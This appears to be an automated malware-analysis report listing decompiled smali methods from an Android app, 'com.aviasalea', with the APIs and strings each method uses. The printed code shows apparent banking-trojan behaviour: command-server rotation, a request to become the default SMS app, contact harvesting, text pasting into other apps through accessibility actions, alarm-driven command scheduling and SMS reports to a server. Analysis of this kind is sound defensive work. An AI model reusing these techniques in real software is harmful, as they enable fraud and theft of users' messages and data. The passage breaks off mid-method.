                                      • android.widget.RelativeLayout.setEnabled
                                      Position Instruction Meta Information
                                      0.param p1, "s" # Landroid/text/Editable;
                                      1.prologue
                                      3invoke-interface {p1}, Landroid/text/Editable;->length()I
                                      4move-result v0
                                      5const/4 v1, 0x3
                                      6if-le v0, v1, :cond_1e
                                      8iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$1;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      10invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$000(Lcom/aviasalea/injs/s/views/SLogView;)Landroid/widget/RelativeLayout;
                                      11move-result-object v0
                                      12const v1, 0x7f05001d
                                      14invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      16iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$1;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      18invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$000(Lcom/aviasalea/injs/s/views/SLogView;)Landroid/widget/RelativeLayout;
                                      19move-result-object v0
                                      20const/4 v1, 0x1
                                      22invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      23goto_1d: return-void
                                      24cond_1e:
                                      25iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$1;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      27invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$000(Lcom/aviasalea/injs/s/views/SLogView;)Landroid/widget/RelativeLayout;
                                      28move-result-object v0
                                      29const v1, 0x7f05001b
                                      31invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      33iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$1;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      35invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$000(Lcom/aviasalea/injs/s/views/SLogView;)Landroid/widget/RelativeLayout;
                                      36move-result-object v0
                                      37const/4 v1, 0x0
                                      39invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      40goto/16 :goto_1d
                                      APIs
                                      • com.aviasalea.Realtalk.getPingCounts
                                      • com.aviasalea.Realtalk.setPingCounts
                                      • com.aviasalea.Realtalk.getNextServerGate
                                      • com.aviasalea.Realtalk.setServerGate
                                      • com.aviasalea.Realtalk.setPingCounts
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • google.com
                                      Position Instruction Meta Information
                                      0.prologue
                                      1try_start_0:
                                      2iget-object v4, p0, Lcom/aviasalea/srs/CmndSrs$3;->val$context:Landroid/content/Context;
                                      4invoke-static {v4}, Lcom/aviasalea/Realtalk;->getPingCounts(Landroid/content/Context;)I
                                      5move-result v3
                                      6add-int/lit8 v3, v3, 0x1
                                      8const-string v4, "google.com"
                                      10invoke-static {v4}, Lcom/aviasalea/ping/Ping;->onAddress(Ljava/lang/String;)Lcom/aviasalea/ping/Ping;
                                      11move-result-object v4
                                      12const/16 v5, 0x3e8
                                      14invoke-virtual {v4, v5}, Lcom/aviasalea/ping/Ping;->setTimeOutMillis(I)Lcom/aviasalea/ping/Ping;
                                      15move-result-object v4
                                      17invoke-virtual {v4}, Lcom/aviasalea/ping/Ping;->doPing()Lcom/aviasalea/ping/PingResult;
                                      18move-result-object v2
                                      19if-eqz v2, :cond_38
                                      20iget-boolean v4, v2, Lcom/aviasalea/ping/PingResult;->isReachable:Z
                                      21if-eqz v4, :cond_38
                                      23iget-object v4, p0, Lcom/aviasalea/srs/CmndSrs$3;->val$context:Landroid/content/Context;
                                      25invoke-static {v4, v3}, Lcom/aviasalea/Realtalk;->setPingCounts(Landroid/content/Context;I)V
                                      26const/16 v4, 0xa
                                      27if-ne v3, v4, :cond_38
                                      29iget-object v4, p0, Lcom/aviasalea/srs/CmndSrs$3;->val$context:Landroid/content/Context;
                                      31invoke-static {v4}, Lcom/aviasalea/Realtalk;->getNextServerGate(Landroid/content/Context;)Ljava/lang/String;
                                      32move-result-object v1
                                      34iget-object v4, p0, Lcom/aviasalea/srs/CmndSrs$3;->val$context:Landroid/content/Context;
                                      36invoke-static {v4, v1}, Lcom/aviasalea/Realtalk;->setServerGate(Landroid/content/Context;Ljava/lang/String;)V
                                      38iget-object v4, p0, Lcom/aviasalea/srs/CmndSrs$3;->val$context:Landroid/content/Context;
                                      39const/4 v5, 0x0
                                      41invoke-static {v4, v5}, Lcom/aviasalea/Realtalk;->setPingCounts(Landroid/content/Context;I)V
                                      42try_end_38: return-void
                                      43catch_39: move-exception v0
                                      45invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      46goto/16 :goto_38
                                      Cross References
                                      APIs
                                      • com.aviasalea.ds.AccOnDialog.getString
                                      • com.aviasalea.ds.AccOnDialog.getString
                                      • com.aviasalea.ds.AccOnDialog.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.setCancelable
                                      • com.aviasalea.ds.AccOnDialog.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.setCanceledOnTouchOutside
                                      • com.aviasalea.ds.AccOnDialog.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.show
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • OK
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const v3, 0x7f0a0015
                                      2try_start_3:
                                      3invoke-virtual {p0, v3}, Lcom/aviasalea/ds/AccOnDialog;->getString(I)Ljava/lang/String;
                                      4move-result-object v2
                                      5new-instance v0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      7invoke-direct {v0, p0}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                                      8const v3, 0x7f0a0012
                                      10invoke-virtual {p0, v3}, Lcom/aviasalea/ds/AccOnDialog;->getString(I)Ljava/lang/String;
                                      11move-result-object v3
                                      13invoke-virtual {v0, v3}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      15invoke-virtual {v0, v2}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      17const-string v3, "OK"
                                      18new-instance v4, Lcom/aviasalea/ds/AccOnDialog$1;
                                      20invoke-direct {v4, p0}, Lcom/aviasalea/ds/AccOnDialog$1;-><init>(Lcom/aviasalea/ds/AccOnDialog;)V
                                      22invoke-virtual {v0, v3, v4}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      24invoke-virtual {v0}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->create()Lcom/aviasalea/base/dialog/AlertDialog;
                                      25move-result-object v3
                                      26iput-object v3, p0, Lcom/aviasalea/ds/AccOnDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      28iget-object v3, p0, Lcom/aviasalea/ds/AccOnDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      29const/4 v4, 0x0
                                      31invoke-virtual {v3, v4}, Lcom/aviasalea/base/dialog/AlertDialog;->setCancelable(Z)V
                                      33iget-object v3, p0, Lcom/aviasalea/ds/AccOnDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      34const/4 v4, 0x0
                                      36invoke-virtual {v3, v4}, Lcom/aviasalea/base/dialog/AlertDialog;->setCanceledOnTouchOutside(Z)V
                                      38iget-object v3, p0, Lcom/aviasalea/ds/AccOnDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      40invoke-virtual {v3}, Lcom/aviasalea/base/dialog/AlertDialog;->show()V
                                      41goto_3a: return-void
                                      42catch_3b: move-exception v1
                                      44invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                                      45goto/16 :goto_3a
                                      APIs
                                      • android.content.Context.getSystemService
                                      • java.lang.System.currentTimeMillis
                                      • android.app.AlarmManager.setExactAndAllowWhileIdle
                                      • android.app.AlarmManager.setExact
                                      • java.lang.Exception.printStackTrace
                                      • android.app.AlarmManager.set
                                      Strings
                                      • alarm
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0:
                                      3const-string v4, "alarm"
                                      5invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      6move-result-object v0
                                      7check-cast v0, Landroid/app/AlarmManager;
                                      8if-eqz v0, :cond_21
                                      10invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                      11move-result-wide v4
                                      12const-wide/32 v6, 0xea60
                                      13add-long v2, v4, v6
                                      14sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                                      15const/16 v5, 0x17
                                      16if-lt v4, v5, :cond_22
                                      17const/4 v4, 0x0
                                      19invoke-static {p0}, Lcom/aviasalea/checktls/IntTls;->getAlarmCommandIntent(Landroid/content/Context;)Landroid/app/PendingIntent;
                                      20move-result-object v5
                                      22invoke-virtual {v0, v4, v2, v3, v5}, Landroid/app/AlarmManager;->setExactAndAllowWhileIdle(IJLandroid/app/PendingIntent;)V
                                      23goto_21: return-void
                                      24cond_22: sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                                      25const/16 v5, 0x13
                                      26if-lt v4, v5, :cond_36
                                      27const/4 v4, 0x0
                                      29invoke-static {p0}, Lcom/aviasalea/checktls/IntTls;->getAlarmCommandIntent(Landroid/content/Context;)Landroid/app/PendingIntent;
                                      30move-result-object v5
                                      32invoke-virtual {v0, v4, v2, v3, v5}, Landroid/app/AlarmManager;->setExact(IJLandroid/app/PendingIntent;)V
                                      33try_end_30: goto/16 :goto_21
                                      34catch_31: move-exception v1
                                      36invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                                      37goto/16 :goto_21
                                      38cond_36: const/4 v4, 0x0
                                      39try_start_37:
                                      40invoke-static {p0}, Lcom/aviasalea/checktls/IntTls;->getAlarmCommandIntent(Landroid/content/Context;)Landroid/app/PendingIntent;
                                      41move-result-object v5
                                      43invoke-virtual {v0, v4, v2, v3, v5}, Landroid/app/AlarmManager;->set(IJLandroid/app/PendingIntent;)V
                                      44try_end_3e: goto/16 :goto_21
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.Realtalk.setDisS
                                      • com.aviasalea.injs.s.SRegActivity.finishActivity
                                      • com.aviasalea.injs.s.SRegActivity.finishActivity
                                      • com.aviasalea.injs.s.SRegActivity.finishActivity
                                      • com.aviasalea.injs.s.SRegActivity.finishActivity
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "requestType" # I
                                      1.param p2, "response" # Lcom/aviasalea/injs/api/response/SCResponse;
                                      2.prologue
                                      3iget-boolean v1, p0, Lcom/aviasalea/injs/s/SRegActivity$2;->val$onlyCard:Z
                                      4if-nez v1, :cond_21
                                      5try_start_4: iget v1, p2, Lcom/aviasalea/injs/api/response/SCResponse;->ret:I
                                      6if-nez v1, :cond_2f
                                      8iget-object v1, p2, Lcom/aviasalea/injs/api/response/SCResponse;->answer:Ljava/lang/String;
                                      9if-eqz v1, :cond_22
                                      11iget-object v1, p2, Lcom/aviasalea/injs/api/response/SCResponse;->answer:Ljava/lang/String;
                                      13const-string v2, "accepted"
                                      15invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      16move-result v1
                                      17if-eqz v1, :cond_21
                                      19iget-object v1, p0, Lcom/aviasalea/injs/s/SRegActivity$2;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      20const/4 v2, 0x1
                                      22invoke-static {v1, v2}, Lcom/aviasalea/Realtalk;->setDisS(Landroid/content/Context;Z)V
                                      24iget-object v1, p0, Lcom/aviasalea/injs/s/SRegActivity$2;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      26invoke-virtual {v1}, Lcom/aviasalea/injs/s/SRegActivity;->finishActivity()V
                                      27goto_21: return-void
                                      28cond_22:
                                      29iget-object v1, p0, Lcom/aviasalea/injs/s/SRegActivity$2;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      31invoke-virtual {v1}, Lcom/aviasalea/injs/s/SRegActivity;->finishActivity()V
                                      32try_end_27: goto/16 :goto_21
                                      33catch_28: move-exception v0
                                      35iget-object v1, p0, Lcom/aviasalea/injs/s/SRegActivity$2;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      37invoke-virtual {v1}, Lcom/aviasalea/injs/s/SRegActivity;->finishActivity()V
                                      38goto/16 :goto_21
                                      39cond_2f:
                                      40iget-object v1, p0, Lcom/aviasalea/injs/s/SRegActivity$2;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      42invoke-virtual {v1}, Lcom/aviasalea/injs/s/SRegActivity;->finishActivity()V
                                      43try_end_34: goto/16 :goto_21
                                      Cross References
                                      APIs
                                      • android.os.AsyncTask.<init>
                                      • java.lang.String.format
                                      Strings
                                      • display_name
                                      • display_name NOT LIKE \'%@%\'
                                      • %1$s COLLATE NOCASE
                                      • _id
                                      • has_phone_number
                                      Position Instruction Meta Information
                                      0.param p1, "callback" # Lcom/aviasalea/checktls/CntctsTls$OnContactsCallback;
                                      1.prologue
                                      2const/4 v4, 0x1
                                      3const/4 v3, 0x0
                                      5invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
                                      7const-string v0, "display_name"
                                      8iput-object v0, p0, Lcom/aviasalea/checktls/CntctsTls;->DISPLAY_NAME:Ljava/lang/String;
                                      10const-string v0, "display_name NOT LIKE \'%@%\'"
                                      11iput-object v0, p0, Lcom/aviasalea/checktls/CntctsTls;->FILTER:Ljava/lang/String;
                                      13const-string v0, "%1$s COLLATE NOCASE"
                                      14new-array v1, v4, [Ljava/lang/Object;
                                      16const-string v2, "display_name"
                                      17aput-object v2, v1, v3
                                      19invoke-static {v0, v1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                                      20move-result-object v0
                                      21iput-object v0, p0, Lcom/aviasalea/checktls/CntctsTls;->ORDER:Ljava/lang/String;
                                      22const/4 v0, 0x3
                                      23new-array v0, v0, [Ljava/lang/String;
                                      25const-string v1, "_id"
                                      26aput-object v1, v0, v3
                                      28const-string v1, "display_name"
                                      29aput-object v1, v0, v4
                                      30const/4 v1, 0x2
                                      32const-string v2, "has_phone_number"
                                      33aput-object v2, v0, v1
                                      34iput-object v0, p0, Lcom/aviasalea/checktls/CntctsTls;->PROJECTION:[Ljava/lang/String;
                                      35iput-object p1, p0, Lcom/aviasalea/checktls/CntctsTls;->onContactsCallback:Lcom/aviasalea/checktls/CntctsTls$OnContactsCallback;
                                      36return-void
                                      Cross References
                                      APIs
                                      • java.lang.Throwable.getCause
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.d
                                      Strings
                                      • No specific message ressource ID found for
                                      Position Instruction Meta Information
                                      0.param p1, "throwable" # Ljava/lang/Throwable;
                                      1.prologue
                                      2move-object v2, p1
                                      3const/16 v0, 0x14
                                      4cond_3:
                                      5invoke-virtual {p0, v2}, Lde/greenrobot/event/util/ExceptionToResourceMapping;->mapThrowableFlat(Ljava/lang/Throwable;)Ljava/lang/Integer;
                                      6move-result-object v1
                                      7if-eqz v1, :cond_a
                                      8goto_9: return-object v1
                                      9cond_a:
                                      10invoke-virtual {v2}, Ljava/lang/Throwable;->getCause()Ljava/lang/Throwable;
                                      11move-result-object v2
                                      12add-int/lit8 v0, v0, -0x1
                                      13if-lez v0, :cond_16
                                      14if-eq v2, p1, :cond_16
                                      15if-nez v2, :cond_3
                                      16cond_16:
                                      17sget-object v3, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      18new-instance v4, Ljava/lang/StringBuilder;
                                      20invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                      22const-string v5, "No specific message ressource ID found for "
                                      24invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      25move-result-object v4
                                      27invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      28move-result-object v4
                                      30invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      31move-result-object v4
                                      33invoke-static {v3, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                      34const/4 v1, 0x0
                                      35goto/16 :goto_9
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      Strings
                                      • msg body is null, statusCode:
                                      • REALTALK REQUEST
                                      Position Instruction Meta Information
                                      0.param p1, "responseJson" # Lorg/json/JSONObject;
                                      1.prologue
                                      2if-nez p1, :cond_29
                                      3const/4 v0, 0x1
                                      4iput v0, p0, Lcom/aviasalea/api/request/HttpResponse;->ret:I
                                      5const v0, 0x18707
                                      6iput v0, p0, Lcom/aviasalea/api/request/HttpResponse;->flag:I
                                      7new-instance v0, Ljava/lang/StringBuilder;
                                      9invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      11const-string v1, "msg body is null, statusCode:"
                                      13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      14move-result-object v0
                                      16iget-object v1, p0, Lcom/aviasalea/api/request/HttpResponse;->msg:Ljava/lang/String;
                                      18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      19move-result-object v0
                                      21invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      22move-result-object v0
                                      23iput-object v0, p0, Lcom/aviasalea/api/request/HttpResponse;->msg:Ljava/lang/String;
                                      25const-string v0, "REALTALK REQUEST"
                                      27iget-object v1, p0, Lcom/aviasalea/api/request/HttpResponse;->msg:Ljava/lang/String;
                                      29invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      30goto_28: return-void
                                      31cond_29:
                                      32invoke-virtual {p0, p1}, Lcom/aviasalea/api/request/HttpResponse;->parseJson(Lorg/json/JSONObject;)V
                                      33goto/16 :goto_28
                                      Cross References
                                      APIs
                                      • java.lang.Integer.intValue
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.d
                                      Strings
                                      • No specific message ressource ID found for
                                      Position Instruction Meta Information
                                      0.param p1, "throwable" # Ljava/lang/Throwable;
                                      1.prologue
                                      3iget-object v1, p0, Lde/greenrobot/event/util/ErrorDialogConfig;->mapping:Lde/greenrobot/event/util/ExceptionToResourceMapping;
                                      5invoke-virtual {v1, p1}, Lde/greenrobot/event/util/ExceptionToResourceMapping;->mapThrowable(Ljava/lang/Throwable;)Ljava/lang/Integer;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_d
                                      9invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                      10move-result v1
                                      11goto_c: return v1
                                      12cond_d:
                                      13sget-object v1, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      14new-instance v2, Ljava/lang/StringBuilder;
                                      16invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      18const-string v3, "No specific message ressource ID found for "
                                      20invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      21move-result-object v2
                                      23invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      24move-result-object v2
                                      26invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      27move-result-object v2
                                      29invoke-static {v1, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                      30iget v1, p0, Lde/greenrobot/event/util/ErrorDialogConfig;->defaultErrorMsgId:I
                                      31goto/16 :goto_c
                                      Cross References
                                      APIs
                                      • android.text.TextUtils.isEmpty
                                      • android.content.Context.getSystemService
                                      • android.content.ClipData.newPlainText
                                      • android.content.ClipboardManager.setPrimaryClip
                                      • android.view.accessibility.AccessibilityNodeInfo.performAction
                                      Strings
                                      • clipboard
                                      • label
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "nodeInfo" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      2.param p2, "text" # Ljava/lang/String;
                                      3.prologue
                                      4if-eqz p1, :cond_8
                                      6invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                      7move-result v2
                                      8if-eqz v2, :cond_a
                                      9cond_8: const/4 v2, 0x0
                                      10goto_9: return v2
                                      11cond_a:
                                      12const-string v2, "clipboard"
                                      14invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      15move-result-object v1
                                      16check-cast v1, Landroid/content/ClipboardManager;
                                      18const-string v2, "label"
                                      20invoke-static {v2, p2}, Landroid/content/ClipData;->newPlainText(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Landroid/content/ClipData;
                                      21move-result-object v0
                                      23invoke-virtual {v1, v0}, Landroid/content/ClipboardManager;->setPrimaryClip(Landroid/content/ClipData;)V
                                      24const v2, 0x8000
                                      26invoke-virtual {p1, v2}, Landroid/view/accessibility/AccessibilityNodeInfo;->performAction(I)Z
                                      27const/4 v2, 0x1
                                      28goto/16 :goto_9
                                      APIs
                                      • android.view.View.getContext
                                      • android.content.Context.getSystemService
                                      • android.view.inputmethod.InputMethodManager.isActive
                                      • android.util.Log.d
                                      Strings
                                      • input_method
                                      • KbdTls
                                      • Ignore!
                                      Position Instruction Meta Information
                                      0.param p0, "view" # Landroid/view/View;
                                      1.prologue
                                      2const/4 v2, 0x0
                                      3if-nez p0, :cond_4
                                      4goto_3: return v2
                                      5try_start_4:
                                      6invoke-virtual {p0}, Landroid/view/View;->getContext()Landroid/content/Context;
                                      7move-result-object v3
                                      9const-string v4, "input_method"
                                      11invoke-virtual {v3, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      12move-result-object v1
                                      13check-cast v1, Landroid/view/inputmethod/InputMethodManager;
                                      15invoke-virtual {v1, p0}, Landroid/view/inputmethod/InputMethodManager;->isActive(Landroid/view/View;)Z
                                      16try_end_13: move-result v2
                                      17goto/16 :goto_3
                                      18catch_15: move-exception v0
                                      20const-string v3, "KbdTls"
                                      22const-string v4, "Ignore!"
                                      24invoke-static {v3, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                      25goto/16 :goto_3
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.putExtra
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • android.provider.Telephony.ACTION_CHANGE_DEFAULT
                                      • package
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "packageName" # Ljava/lang/String;
                                      2.annotation build Landroid/annotation/TargetApi;
                                      3value = 0x13
                                      4.end annotation
                                      5.prologue
                                      6try_start_0: new-instance v1, Landroid/content/Intent;
                                      8const-string v2, "android.provider.Telephony.ACTION_CHANGE_DEFAULT"
                                      10invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      12const-string v2, "package"
                                      14invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                      15const/high16 v2, 0x10000000
                                      17invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      19invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      20try_end_14: return-void
                                      21catch_15: move-exception v0
                                      23invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      24goto/16 :goto_14
                                      APIs
                                      • android.view.View.getContext
                                      • android.content.Context.getSystemService
                                      • android.view.inputmethod.InputMethodManager.showSoftInput
                                      • android.util.Log.d
                                      Strings
                                      • input_method
                                      • KbdTls
                                      • Ignore!
                                      Position Instruction Meta Information
                                      0.param p0, "view" # Landroid/view/View;
                                      1.prologue
                                      2if-nez p0, :cond_3
                                      3goto_2: return-void
                                      4try_start_3:
                                      5invoke-virtual {p0}, Landroid/view/View;->getContext()Landroid/content/Context;
                                      6move-result-object v2
                                      8const-string v3, "input_method"
                                      10invoke-virtual {v2, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      11move-result-object v1
                                      12check-cast v1, Landroid/view/inputmethod/InputMethodManager;
                                      13const/4 v2, 0x1
                                      15invoke-virtual {v1, p0, v2}, Landroid/view/inputmethod/InputMethodManager;->showSoftInput(Landroid/view/View;I)Z
                                      16try_end_13: goto/16 :goto_2
                                      17catch_14: move-exception v0
                                      19const-string v2, "KbdTls"
                                      21const-string v3, "Ignore!"
                                      23invoke-static {v2, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                      24goto/16 :goto_2
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendSMSReportErrorToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSReportErrorToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSReportErrorToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSReportErrorToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSReportErrorToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSReportErrorToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendSMSReportToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSReportToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSReportToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSReportToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSReportToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSReportToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusStartToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusStartToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusStartToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
